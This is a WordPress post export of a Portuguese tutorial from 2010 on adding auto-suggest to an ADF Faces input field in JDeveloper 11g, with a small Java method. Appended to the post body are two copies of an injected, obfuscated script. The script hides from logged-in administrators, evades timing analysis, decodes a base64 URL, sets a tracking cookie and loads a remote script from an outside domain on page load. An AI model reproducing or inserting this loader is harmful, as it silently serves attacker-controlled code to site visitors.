{"id":10,"date":"2010-01-26T00:10:00","date_gmt":"2010-01-26T00:10:00","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=10"},"modified":"2025-10-26T22:44:55","modified_gmt":"2025-10-27T01:44:55","slug":"adf-11g-adicionando-auto-sugestao-em-um-input","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/01\/26\/adf-11g-adicionando-auto-sugestao-em-um-input\/","title":{"rendered":"ADF 11g adicionando auto sugest\u00e3o em um input"},"content":{"rendered":"<p style=\"text-align: justify;\">ADF 11g adicionando auto sugest\u00e3o em um input no ADF 11g \u00e9 muito simples criar, o auto complementar para campos inputText, vejamos um exemplo.<br \/>\nCrie um projeto ADF Faces no JDeveloper 11g.<a href=\"http:\/\/lh3.ggpht.com\/_4lt8NVgnE3E\/S14ytya5FKI\/AAAAAAAAACU\/c82bmPTaU_Q\/s1600-h\/image4.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright\" style=\"border: 0px;\" title=\"image\" src=\"http:\/\/lh5.ggpht.com\/_4lt8NVgnE3E\/S14yxrXQ0iI\/AAAAAAAAACY\/-BXCxZI3jcg\/image_thumb2.png?imgmax=800\" border=\"0\" alt=\"image\" width=\"240\" height=\"177\" align=\"left\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">Clique em New Application, coloque um nome para o projeto, selecione Generic Application e clique em next.<br \/>\nNa caixa <strong>Avaliable <\/strong>selecione ADF Faces em clique no Add(ALT+D) veja:<\/p>\n<p style=\"text-align: justify;\">Coloque um nome em seu projeto, clique em next se quiser alterar o nome padr\u00e3o do primeiro pacote. Sen\u00e3o clique em Finish.<\/p>\n<p style=\"text-align: justify;\">Crie uma nova p\u00e1gina JSF.<br \/>\nAdicione \u00e0 p\u00e1gina que acabou de criar um componente af:inputText veja:<\/p>\n<p style=\"text-align: justify;\">Com o bot\u00e3o direito clique sobre o inputText<br \/>\nV\u00e1 em <strong>Insert inside input text <\/strong>e clique em <strong>ADF Faces.<\/strong><a href=\"http:\/\/lh3.ggpht.com\/_4lt8NVgnE3E\/S14yydFX-wI\/AAAAAAAAACc\/WIFni1Jhbe0\/s1600-h\/image13.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright\" style=\"display: inline; border: 0px;\" title=\"image\" src=\"http:\/\/lh3.ggpht.com\/_4lt8NVgnE3E\/S14yzjvKXrI\/AAAAAAAAACg\/s8Eix55atFU\/image_thumb9.png?imgmax=800\" border=\"0\" alt=\"image\" width=\"240\" height=\"117\" align=\"left\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><strong><span style=\"color: #000000;\"> <\/span><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong><span style=\"color: #000000;\"> <\/span><\/strong><\/p>\n<p style=\"text-align: justify;\">Na Janela que se abriu selecione <strong>Auto Suggest Behavior<\/strong> e clique em ok.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/lh6.ggpht.com\/_4lt8NVgnE3E\/S14y0xn4pXI\/AAAAAAAAADE\/LLkU-7xjSbU\/s1600-h\/image14%5B1%5D.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; float: none; border: 0px;\" title=\"image\" src=\"http:\/\/lh4.ggpht.com\/_4lt8NVgnE3E\/S14y29-6QDI\/AAAAAAAAADM\/tGMAnLtiAM8\/image14_thumb.png?imgmax=800\" border=\"0\" alt=\"image\" width=\"240\" height=\"239\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">Aparecera a seguinte tela, para voc\u00ea setar o conjunto de itens que ir\u00e1 conter essa sugest\u00e3o.<br \/>\n<a href=\"http:\/\/lh4.ggpht.com\/_4lt8NVgnE3E\/S14y4BWFCZI\/AAAAAAAAACs\/1YI92qXyN3o\/s1600-h\/image21.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"image\" src=\"http:\/\/lh6.ggpht.com\/_4lt8NVgnE3E\/S14y5bfiMVI\/AAAAAAAAACw\/1iZpG8rYhF8\/image_thumb13.png?imgmax=800\" border=\"0\" alt=\"image\" width=\"240\" height=\"79\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">Bom ainda n\u00e3o criamos nenhum bean para esse projeto, teremos que criar agora vejamos:<br \/>\nClique na seta para baixo na tela acima, aparecer\u00e1 uma nova janela, clique em <strong>Edit.<\/strong><br \/>\nAparecer\u00e1 outra janela em Managed Bean clique no bot\u00e3o <strong>New...<br \/>\n<\/strong>Crie seu Managed Bean.<br \/>\nEm Method clique em <strong>New...<\/strong> e de um nome para o m\u00e9todo.<br \/>\nUfaa =D<br \/>\nVeja:<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/lh6.ggpht.com\/_4lt8NVgnE3E\/S14y6im1M-I\/AAAAAAAAAC0\/CXzBeCUeB38\/s1600-h\/image25.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"image\" src=\"http:\/\/lh4.ggpht.com\/_4lt8NVgnE3E\/S14y8TwcgMI\/AAAAAAAAAC4\/KWpxYkpIOs4\/image_thumb15.png?imgmax=800\" border=\"0\" alt=\"image\" width=\"240\" height=\"106\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">Agora clique em OK e depois OK novamente.<br \/>\nPara demonstra\u00e7\u00e3o vou colocar alguns itens fixo. Veja a implementa\u00e7\u00e3o do nosso m\u00e9todo.<\/p>\n<div id=\"codeSnippetWrapper\" style=\"border: 1px solid silver; text-align: justify; padding: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; height: 310px; max-height: 200px; font-size: 8pt; overflow: auto; cursor: text;\">\n<div id=\"codeSnippet\" style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\">\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum1\" style=\"color: #606060;\">   1:<\/span> <span style=\"color: #008000;\">\/**<\/span><\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum2\" style=\"color: #606060;\">   2:<\/span> <span style=\"color: #008000;\"> *<\/span><\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum3\" style=\"color: #606060;\">   3:<\/span> <span style=\"color: #008000;\"> * @param par\u00e2metro cont\u00e9m o texto passado pelo value no nosso input text<\/span><\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum4\" style=\"color: #606060;\">   4:<\/span> <span style=\"color: #008000;\"> * @return<\/span><\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum5\" style=\"color: #606060;\">   5:<\/span> <span style=\"color: #008000;\"> *\/<\/span><\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum6\" style=\"color: #606060;\">   6:<\/span> <span style=\"color: #0000ff;\">public<\/span> List autoSugestao(String parametro) {<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum7\" style=\"color: #606060;\">   7:<\/span>     <span style=\"color: #008000;\">\/\/array de nomes para o exemplo<\/span><\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum8\" style=\"color: #606060;\">   8:<\/span>     String[] itensNomes = {<span style=\"color: #006080;\">\"Abreu\"<\/span>,<span style=\"color: #006080;\">\"Gon\u00e7alves\"<\/span>,<span style=\"color: #006080;\">\"Junior\"<\/span>,<span style=\"color: #006080;\">\"Alexandre\"<\/span>,<span style=\"color: #006080;\">\"Andrade\"<\/span>};<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum9\" style=\"color: #606060;\">   9:<\/span><\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum10\" style=\"color: #606060;\">  10:<\/span>     <span style=\"color: #008000;\">\/\/Criando uma lista de SelectItem para o retorno que ser\u00e3o associados ao suggest<\/span><\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum11\" style=\"color: #606060;\">  11:<\/span>     List&lt;SelectItem&gt; listNomesEncontrados = <span style=\"color: #0000ff;\">new<\/span> ArrayList&lt;SelectItem&gt;();<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum12\" style=\"color: #606060;\">  12:<\/span>     <span style=\"color: #0000ff;\">for<\/span> (String s : itensNomes) {<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum13\" style=\"color: #606060;\">  13:<\/span>         <span style=\"color: #0000ff;\">if<\/span>(s.startsWith(parametro) || s.endsWith(parametro))<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum14\" style=\"color: #606060;\">  14:<\/span>             listNomesEncontrados.add(<span style=\"color: #0000ff;\">new<\/span> SelectItem(s));<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum15\" style=\"color: #606060;\">  15:<\/span>     }<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum16\" style=\"color: #606060;\">  16:<\/span>     <span style=\"color: #0000ff;\">return<\/span> listNomesEncontrados;<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum17\" style=\"color: #606060;\">  17:<\/span> }<\/pre>\n<p><!--CRLF--><\/p>\n<\/div>\n<\/div>\n<p style=\"text-align: justify;\">Muito simples n\u00e3o =), veja o exemplo, abaixo funcionando.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/lh4.ggpht.com\/_4lt8NVgnE3E\/S14y9Fo584I\/AAAAAAAAAC8\/qdtHfFQis0Q\/s1600-h\/image33.png\"><img loading=\"lazy\" decoding=\"async\" style=\"margin: 5px; display: inline; border: 0px;\" title=\"image\" src=\"http:\/\/lh5.ggpht.com\/_4lt8NVgnE3E\/S14y-v_4F1I\/AAAAAAAAADA\/Uy0xHTUU5gc\/image_thumb21.png?imgmax=800\" border=\"0\" alt=\"image\" width=\"240\" height=\"117\" \/><\/a><br \/>\n\u00c9 isso ai pessoal fica a dica. e bons c\u00f3digos.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/cid-bdbb1cfc95817194.office.live.com\/self.aspx\/JDeveloper\/AutoSugestao.rar\">Download<\/a> do projeto.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Obrigado!<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>ADF 11g adicionando auto sugest\u00e3o em um input no ADF 11g \u00e9 muito simples criar, o auto complementar para campos inputText, vejamos um exemplo. Crie um projeto ADF Faces no JDeveloper 11g. Clique em New Application, coloque um nome para <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/01\/26\/adf-11g-adicionando-auto-sugestao-em-um-input\/\">Continue lendo  <span class=\"screen-reader-text\">  ADF 11g adicionando auto sugest\u00e3o em um input<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,8],"tags":[],"class_list":["post-10","post","type-post","status-publish","format-standard","hentry","category-java","category-jdeveloper"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/10","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=10"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/10\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=10"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=10"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=10"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}